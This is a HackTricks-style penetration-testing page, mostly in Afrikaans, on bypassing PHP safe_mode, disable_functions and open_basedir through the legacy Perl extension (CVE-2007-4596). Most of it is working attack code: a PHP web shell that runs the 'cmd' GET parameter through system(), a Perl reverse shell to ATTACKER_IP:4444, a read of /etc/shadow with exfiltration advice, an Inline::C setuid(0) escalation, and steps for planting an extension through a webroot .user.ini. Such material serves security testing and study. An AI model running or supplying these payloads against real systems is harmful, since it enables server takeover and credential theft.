PHP Perl Extension Safe_mode Bypass Exploit

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Agtergrond

Die kwessie getrek as CVE-2007-4596 kom van die verouderde perl PHP-extentie, wat ’n volledige Perl-interpreter inbed sonder om PHP se safe_mode, disable_functions, of open_basedir kontroles te eerbiedig. Enige PHP-worker wat extension=perl.so laai kry onbeperkte Perl eval, so opdraguitvoering bly triviaal selfs wanneer al die klassieke PHP-proses-opspawning primitives geblokkeer is. Alhoewel safe_mode in PHP 5.4 verdwyn het, lewer baie verouderde gedeelde-hosting stacks en kwesbare lab-omgewings dit steeds, dus is hierdie omseiling steeds nuttig wanneer jy op verouderde beheerpanele land.

Compatibility & Packaging Status (2025)

  • Die laaste PECL-vrystelling (perl-1.0.1, 2013) mik op PHP ≥5.0; PHP 8+ fal meestal omdat die Zend-API’s verander het.
  • PECL word deur PIE vervang, maar ouer stacks lewer steeds PECL/pear. Gebruik die onderstaande vloei op PHP 5/7 teikens; op nuwer PHP verwag ’n downgrade of om na ’n ander inspuitingspad oor te skakel (bv. userland FFI).

Building a Testable Environment in 2025

  • Haal perl-1.0.1 van PECL, kompileer dit vir die PHP-branch wat jy beplan om aan te val, en laai dit globals (php.ini) of via dl() (indien toegelaat).
  • Vinnige Debian-gebaseerde lab-resep:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • Tydens uitbuiting, bevestig beskikbaarheid met var_dump(extension_loaded('perl')); of print_r(get_loaded_extensions());. Indien afwesig, soek na perl.so of misbruik skryfbare php.ini/.user.ini inskrywings om dit te dwing om gelaai te word.
  • Omdat die interpreter binne die PHP-worker leef, is geen eksterne binaries nodig nie—netwerk-uitgaande filters of proc_open swartlyste maak nie saak nie.

Op-gasheer bouketting wanneer phpize bereikbaar is

As phpize en build-essential op die gekompromitteerde gasheer beskikbaar is, kan jy perl.so kompileer en neergooi sonder om ’n eksterne shell op die OS te gebruik:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini

As open_basedir afgedwing word, maak seker die geplaatste .user.ini en .so lê in ’n toegelate pad; die extension=-directive word steeds binne die basedir gerespekteer. Die kompilasievloei weerspieël die PHP-handboek vir die bou van PECL-extensions.

Oorspronklike PoC (NetJackal)

Van http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, dit is nog steeds handig om te bevestig dat die extension op eval reageer:

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Moderne Payload-verbeterings

1. Volledige TTY oor TCP

Die ingebedde interpreter kan IO::Socket laai selfs al is /usr/bin/perl geblokkeer:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. File-System Escape Selfs met open_basedir

Perl negeer PHP se open_basedir, sodat jy willekeurige lêers kan lees:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

Pyp die uitvoer deur IO::Socket::INET of Net::HTTP om data te exfiltreer sonder om PHP-beheerde descriptors te raak.

3. Inline Compilation for Privilege Escalation

As Inline::C stelselwyd bestaan, compileer helpers binne die versoek sonder om op PHP se ffi of pcntl te vertrou:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Behandel Perl as ’n LOLBAS toolkit—bv., dump MySQL DSNs selfs al ontbreek mysqli:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks